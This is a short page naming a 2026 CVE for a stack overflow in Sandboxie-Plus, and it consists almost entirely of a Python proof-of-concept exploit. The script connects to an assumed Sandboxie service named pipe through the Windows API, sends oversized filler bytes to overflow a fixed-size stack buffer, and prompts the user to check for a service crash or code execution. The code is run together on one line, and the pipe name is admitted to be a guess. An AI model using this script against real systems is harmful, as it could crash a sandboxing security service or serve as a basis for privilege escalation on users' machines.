CVE-2026-34462: Sandboxie-Plus 栈溢出漏洞

import ctypes import sys # Constants GENERIC_READ = 0x80000000 GENERIC_WRITE = 0x40000000 OPEN_EXISTING = 3 FILE_ATTRIBUTE_NORMAL = 0x80 INVALID_HANDLE_VALUE = -1 # Define Windows API functions CreateFileW = ctypes.windll.kernel32.CreateFileW WriteFile = ctypes.windll.kernel32.WriteFile CloseHandle = ctypes.windll.kernel32.CloseHandle # Target named pipe (Example name, actual name may vary based on installation) PIPE_NAME = r"\\.\pipe\SandboxieServicePipe" def exploit(): print(f"[*] Attempting to connect to {PIPE_NAME}...") # Try to connect to the named pipe with NULL DACL handle = CreateFileW( PIPE_NAME, GENERIC_READ | GENERIC_WRITE, 0, None, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, None ) if handle == INVALID_HANDLE_VALUE: print("[-] Failed to connect to the pipe.") return print("[+] Connected to the service pipe.") # Construct malicious payload # The structure expects a boxname of 34 WCHARs (68 bytes) # We provide non-zero data and append extra chars to overflow the 40 WCHAR (80 bytes) stack buffer overflow_size = 100 # Enough to overflow the destination buffer payload = b'A' * (34 * 2) + b'B' * (overflow_size - (34 * 2)) print(f"[*] Sending payload of size {len(payload)} bytes...") bytes_written = ctypes.c_ulong(0) result = WriteFile( handle, payload, len(payload), ctypes.byref(bytes_written), None ) if result: print(f"[+] Payload sent successfully ({bytes_written.value} bytes).") print("[+] Check if the service crashed or code execution occurred.") else: print("[-] Failed to send payload.") CloseHandle(handle) if __name__ == "__main__": exploit()